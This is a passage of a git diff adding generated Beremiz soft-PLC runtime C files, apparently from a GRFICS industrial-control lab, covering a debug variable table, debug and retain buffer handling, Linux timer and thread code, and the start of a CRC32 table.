+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 